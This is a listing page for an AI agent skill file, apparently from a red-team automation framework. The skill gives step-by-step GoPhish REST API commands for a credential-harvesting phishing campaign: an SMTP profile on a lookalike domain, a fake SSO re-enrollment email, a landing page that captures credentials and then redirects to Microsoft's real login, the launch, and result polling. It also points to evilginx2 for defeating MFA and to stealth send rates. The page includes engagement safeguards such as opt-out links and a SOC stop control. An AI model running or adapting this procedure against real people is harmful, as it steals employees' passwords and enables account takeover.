gophish-campaign

Build and launch a tracked phishing campaign with the GoPhish REST API — sending profile, groups, email template, landing page, launch, and event polling.

Quality

81%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

Securityby

Critical

Do not install without reviewing

GoPhish Campaign

GoPhish drives the credential-harvest landing-page flow and the click/submit tracking the report needs. Use it for the "fake login page" path; use evilginx2-proxy instead when you must defeat MFA.

Prerequisites

GoPhish running in the sandbox (gophish binary; admin API on https://127.0.0.1:3333, phish server on :80/:443).
GOPHISH_API_KEY exported (read from the admin UI once).
The lure-deconfliction handshake COMPLETE for this campaign.
A sender domain with SPF/DKIM/DMARC (lookalike-domain) and a pretext (pretext-engineering).

Flow (REST API)

API=https://127.0.0.1:3333/api
H="Authorization: Bearer $GOPHISH_API_KEY"

# 1. Sending profile (SMTP)
curl -sk -H "$H" -H 'Content-Type: application/json' $API/smtp/ -d '{
  "name":"eng-smtp","host":"smtp.lure-domain.example:587",
  "from_address":"it-support@lure-domain.example",
  "username":"...","password":"...","ignore_cert_errors":true}'

# 2. Target group (from plan/phisher/pretext.md shortlist)
curl -sk -H "$H" -H 'Content-Type: application/json' $API/groups/ -d '{
  "name":"wave1","targets":[{"email":"alice@acme.example","first_name":"Alice","last_name":"R"}]}'

# 3. Email template (include the X-Decepticon-Eng header + opt-out URL)
curl -sk -H "$H" -H 'Content-Type: application/json' $API/templates/ -d '{
  "name":"sso-migration","subject":"Action needed: SSO re-enrollment",
  "html":"<a href=\"{{.URL}}\">Re-enroll</a> {{.Tracker}}"}'

# 4. Landing page (capture creds, then redirect to the real site)
curl -sk -H "$H" -H 'Content-Type: application/json' $API/pages/ -d '{
  "name":"sso-landing","html":"<form>...</form>",
  "capture_credentials":true,"redirect_url":"https://login.microsoftonline.com"}'

# 5. Launch
curl -sk -H "$H" -H 'Content-Type: application/json' $API/campaigns/ -d '{
  "name":"acme-wave1","template":{"name":"sso-migration"},
  "page":{"name":"sso-landing"},"smtp":{"name":"eng-smtp"},
  "url":"https://login.acme-portal.example","groups":[{"name":"wave1"}]}'

# 6. Poll results
curl -sk -H "$H" $API/campaigns/ | jq '.[].results[] | {email,status}'

Evidence

Each submitted credential → Credential node linked to the User node with an OBTAINED_VIA edge carrying the campaign id. Save the raw GoPhish results JSON under evidence/phisher/<campaign>.json.

OPSEC / failsafe

Send rate matches opsec_level (stealth ≤2/h, standard ≤20/h).
gophish_pause_campaign (PUT $API/campaigns/:id/complete) halts sending instantly on a SOC stop request.
Every template carries the engagement header + opt-out link.

Repository: PurpleAILAB/Decepticon
Path: packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md
Commit: 31e1c8e

Last updated: 6 days ago
First committed: 3 months ago

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.